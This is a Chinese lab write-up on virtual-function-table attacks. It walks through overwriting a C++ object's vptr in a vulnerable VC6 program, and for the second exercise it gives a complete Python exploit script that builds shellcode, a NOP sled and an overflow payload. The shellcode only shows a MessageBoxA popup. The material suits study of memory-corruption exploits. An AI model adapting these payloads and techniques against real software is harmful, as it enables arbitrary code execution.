虚函数

虚函数内存布局与攻击原理

题目A

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <windows.h>
#include <iostream.h>

char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x5C\xE3\x42\x00";

class vf
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
vf overflow, *p;
void main(void)
{
LoadLibrary("user32.dll");
char * p_vtable;
p_vtable=overflow.buf-4;//point to virtual table
//__asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug
p_vtable[0]=0x30;
p_vtable[1]=0xE4;
p_vtable[2]=0x42;
p_vtable[3]=0x00;
strcpy(overflow.buf,shellcode1);//set fake virtual function pointer
p=&overflow;
p->test();
}

给出的mainc.cpp代码原本的设计是“通过手动修改内存中的虚表指针,让程序误以为 Shellcode 是虚函数表,从而去执行它”。但由于 Shellcode 中硬编码的系统函数地址在你的电脑上是错的,所以必须修正。

mainc.cpp的shellcode对应汇编代码如下:

提供的 shellcode1 数组中包含了一段汇编机器码,其功能是调用 Windows 的 MessageBoxA 函数弹出一个窗口。
需要将 Shellcode 中 MOV EAX, 0xXXXXXXXX 这一指令后的地址,替换为你本机当前运行环境下的 MessageBoxA 真实地址
(使用小端序

攻击逻辑

获取MessageBoxA地址

加载程序,运行几步后查看“符号”,在user32.dll中找到MessageBoxA的地址:75EB4900

获取起始地址

overflow.buf 在内存中的起始地址

  • 作用:我们需要把虚表指针(vptr)指向这个位置(或者这个位置附近的某个偏移),因为我们的 Shellcode 就存放在这里。源码中硬编码的 0x0042E430 在你电脑上很可能是无效内存,访问会报错。

strcpy(overflow.buf, shellcode1); 这一行打断点
运行到断点时,在“监视”窗口查看 &overflowoverflow.buf 的值(就是Destination

修改地址(IDA动调)

1.修改 Shellcode 中的函数调用地址

  • 原代码:... \xB8\x68\x3D\xE2\x77\xFF\xD0 ...
  • 修改为:\xB8 + MessageBoxA 地址(小端序)+ \xFF\xD0

2.修改虚表指针指向的地址

  • main 函数中赋值 p_vtable[0]p_vtable[3] 的 4 行代码,将其修改为 伪造的虚表位置(本例中被设计在 Shellcode 数组的末尾)

3.修改 Shellcode 末尾的跳板地址

  • char shellcode1[] 数组的最后 4 个字节,改为overflow.buf的地址

  • 虚表指针 (vptr) 应该指向 虚函数表 (vtable) 的地址。
  • 虚函数表 (vtable) 里面存放的才是 真正的函数地址 (Shellcode Start)

图中的两处(vptr、vtable)原本是需要修改的,但是给出的源码正好与目标值一致,因此无需做修改。

只需要修改MessageBoxA地址部分

切换至Hex dump视图,方便修改

再运行,弹出对话框。

修改源码

上一步是通过动态调试的方式去直接修改内存,现在尝试通过修改源码再编译成exe实现。

由于我的vc++6.0是安装在xp上的,编译出的exe与原本给的exe地址上有差别,这里按xp上的再做一次。

MessageBoxA还是原来的地址

成功弹出对话框

接着修改源码,一共有三处改动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
【修改点 1】:MessageBoxA 地址
原代码: ... \xB8\x68\x3D\xE2\x77 ...
修改为: \xB8\x00\x49\xEB\x75 (对应 0x75EB4900)

【修改点 2】:Shellcode 末尾的跳板地址
这里存放的是 Shellcode 的起始地址:0x0042E27C
修改为: \x7C\xE2\x42\x00

【修改点 3】:修改 vptr 的值
这里存放的是伪造虚表的位置:0x0042E350
p_vtable[0]=0x50; //修改为 0x50
p_vtable[1]=0xE3; //修改为 0xE3
p_vtable[2]=0x42;
p_vtable[3]=0x00;

生成exe之后弹不出对话框,动态调试发现果然遇到了\0x00截断

把strcpy改成memcpy,再生成exe,成功弹出(记得把程序添加到DEP白名单)

最终的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <windows.h>
#include <iostream.h> // VC6.0 使用旧版头文件

// Shellcode 数组
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
// 【修改点 1】:MessageBoxA 地址
// 原代码: ... \xB8\x68\x3D\xE2\x77 ...
// 修改为: \xB8\x00\x49\xEB\x75 (对应 0x75EB4900)
"\x50\x50\x53\xB8\x00\x49\xEB\x75\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 【修改点 2】:Shellcode 末尾的跳板地址 (fake vtable entry)
// 这里存放的是 Shellcode 的起始地址:0x0042E27C
// 修改为: \x7C\xE2\x42\x00
"\x90\x90\x90\x90\x7C\xE2\x42\x00";

class vf
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
vf overflow, *p;
void main(void)
{
LoadLibrary("user32.dll");
char * p_vtable;
p_vtable=overflow.buf-4; // point to virtual table

// 【修改点 3】:修改 vptr 的值
// 这里存放的是伪造虚表的位置:0x0042E350 (也就是 Shellcode 的末尾)
p_vtable[0]=0x50; // 修改为 0x50
p_vtable[1]=0xE3; // 修改为 0xE3
p_vtable[2]=0x42;
p_vtable[3]=0x00;

// 注意:在 VC6.0 XP 下 strcpy 可能不会遇到 DEP 问题,
// 但如果 Shellcode 里有 00,还是建议用 memcpy
// strcpy(overflow.buf,shellcode1);
memcpy(overflow.buf, shellcode1, sizeof(shellcode1));

p=&overflow;
p->test();
}

题目B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <iostream.h>
#include <stdio.h>

class vf
{
public:
char buf[200];
virtual void test(void)
{
cout << "Class Vtable::test()" << endl;
}
};

class vf1
{
public:
char buf[64];
virtual void test(void)
{
cout << "Class Vtable1::test()" << endl;
}
};

vf overflow, *p;
vf1 overflow1, *p1;

void main(int argc, char* argv[])
{
LoadLibrary("user32.dll");

// 题目B 的核心逻辑:要求传入 2 个参数
if (argc == 3)
{
// 1. 将第一个参数拷贝到 overflow.buf
// 攻击思路:这里可以放入具体的 Shellcode
strcpy(overflow.buf, argv[1]);

// 2. 将第二个参数拷贝到 overflow1.buf
// 攻击思路:这里存在溢出漏洞!
// 在内存布局中,overflow1 的地址通常低于 overflow。
// 向 overflow1.buf 写入超长数据,会向高地址溢出,从而覆盖掉 overflow 对象的 vptr。
strcpy(overflow1.buf, argv[2]); // set fake virtual function pointer

// 3. 触发虚函数调用
// 如果 vptr 被 argv[2] 成功覆盖,这里就会跳转到我们指定的地址(即 Shellcode)
p = &overflow;
p->test();
}
else
{
printf("vf argv1 argv2\n");
}
}


确定关键内存地址

  • Target Addressoverflow.buf 的起始地址(用来存放 Shellcode)。
  • Offset:从 overflow1.buf 开始写多少字节才能刚好碰到 overflow 的 vptr。

需要从42EB14覆盖掉vptr,0x42EB58-0x42EB14=68

跳板地址(伪造虚表的地址) = Shellcode 起始地址 + 偏移量 (Padding)
0x0042EB5C + 0xC0 = 0x0042EC1C

  • Shellcode 起始地址 (Destination):0x0042EB5C
  • 偏移量:要在 Shellcode 后面填充一堆 NOP 或垃圾数据,然后在某个位置存放“回指 Shellcode 的指针”。(选择0xC0作为偏移量

构造 argv[1] 的结构: [ Shellcode (约30字节) ] + [ NOP填充 (约162字节) ] + [ 0x0042EB5C 的指针 (4字节) ] (指针正好放在第 192 字节处)
构造 argv[2] 的结构: [ 填充 (68字节) ] + [ 0x0042EC1C (跳板地址) ] (vptr 被覆盖为 0x0042EC1C,程序去这里找虚函数,发现里面存着 0x0042EB5C,于是跳转到 Shellcode)

在win11上做失败了,换了win2000

0x33D68+0x77DF0000=0x77E23D68

通过脚本直接注入命令行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
import subprocess
import struct
import sys

# 配置区域
target_exe = "vf.exe"

# [地址配置]
# overflow.buf 起始地址
addr_buf_start = 0x0042EB5C

# 伪造虚表位置 (偏移 192字节处)
addr_fake_vtable = 0x0042EC1C

# MessageBoxA 地址 (Win2000)
addr_messagebox = 0x77E23D68

print "[*] Target OS: Windows 2000"
print "[*] MessageBoxA Address: 0x%08X" % addr_messagebox

# 构造无 NULL Shellcode
def create_shellcode(msgbox_addr):
# 处理 MessageBox 地址包含 00 的情况
if (msgbox_addr & 0xFF) == 0:
mov_eax = b"\xB8" + struct.pack('<I', msgbox_addr + 1) # MOV EAX, ADDR+1
dec_eax = b"\x48" # DEC EAX
else:
mov_eax = b"\xB8" + struct.pack('<I', msgbox_addr)
dec_eax = b""

code = (
b"\x33\xDB" # XOR EBX, EBX
b"\x53" # PUSH EBX (字符串结尾 \0)
# 第二个 "bupt" (高位)
b"\x68\x62\x75\x70\x74"
# 第一个 "bupt" (低位)
b"\x68\x62\x75\x70\x74"
b"\x8B\xC4" # MOV EAX, ESP (指向 "buptbupt")
b"\x53" # PUSH EBX (hWnd = 0)
b"\x50" # PUSH EAX (lpCaption = "buptbupt")
b"\x50" # PUSH EAX (lpText = "buptbupt")
b"\x53" # PUSH EBX (uType = 0)
+ mov_eax + dec_eax + # 加载 MessageBoxA 地址
b"\xFF\xD0" # CALL EAX
)
return code

shellcode = create_shellcode(addr_messagebox)

# 构造 Payload 1 (argv[1])
# 布局:[Shellcode] ...填充... [Fake Vtable Ptr]

nop_len = 192 - len(shellcode)
nops = b"\x90" * nop_len

# 技巧:只写地址的前3个字节,利用 strcpy 补齐最后的 \x00
fake_vtable_ptr = struct.pack('<I', addr_buf_start)[:-1]

payload1 = shellcode + nops + fake_vtable_ptr

# 构造 Payload 2 (argv[2])
# 布局:[Padding 68 bytes] + [Vptr Overwrite]
padding = b"A" * 68

# 技巧:只写地址的前3个字节,利用 strcpy 补齐最后的 \x00
vptr_value = struct.pack('<I', addr_fake_vtable)[:-1]

payload2 = padding + vptr_value

# ================= 执行攻击 ================
print "[*] Payload 1 Length: %d" % len(payload1)
print "[*] Payload 2 Length: %d" % len(payload2)
print "[*] Executing attack..."
try:
if sys.version_info[0] < 3:
ret = subprocess.call([target_exe, payload1, payload2])
else:
ret = subprocess.call([
target_exe,
payload1.decode('latin-1'),
payload2.decode('latin-1')
])
print "[*] Return code: %d" % ret
except Exception as e:
print "[!] Error: %s" % str(e)


攻击代码与vf放在同一个目录下,双击exploit.py实现攻击